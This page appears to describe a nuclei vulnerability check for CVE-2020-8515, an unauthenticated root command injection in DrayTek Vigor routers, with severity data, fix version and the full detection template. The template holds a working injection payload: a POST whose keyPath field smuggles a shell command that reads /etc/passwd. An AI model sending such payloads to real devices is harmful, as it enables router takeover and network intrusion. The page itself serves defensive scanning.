DrayTek - Remote Code Execution

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected router, leading to complete compromise of the device and potential unauthorized access to the network.

Fix

This issue has been fixed in Vigor3900/2960/300B v1.5.1.

How to confirm it

Send: POST /cgi-bin/mainfunction.cgi
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-8515 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-8515

info:
  name: DrayTek - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected router, leading to complete compromise of the device and potential unauthorized access to the network.
  remediation: This issue has been fixed in Vigor3900/2960/300B v1.5.1.
  reference:
    - https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)
    - https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8515
    - https://sku11army.blogspot.com/2020/01/draytek-unauthenticated-rce-in-draytek.html
    - https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-%28cve-2020-8515%29/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-8515
    cwe-id: CWE-78
    epss-score: 0.99993
    epss-percentile: 0.99987
    cpe: cpe:2.3:o:draytek:vigor2960_firmware:1.3.1:beta:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: draytek
    product: vigor2960_firmware
  tags: cve,cve2020,rce,kev,draytek,vkev,vuln

http:
  - raw:
      - |
        POST /cgi-bin/mainfunction.cgi HTTP/1.1
        Host: {{Hostname}}

        action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from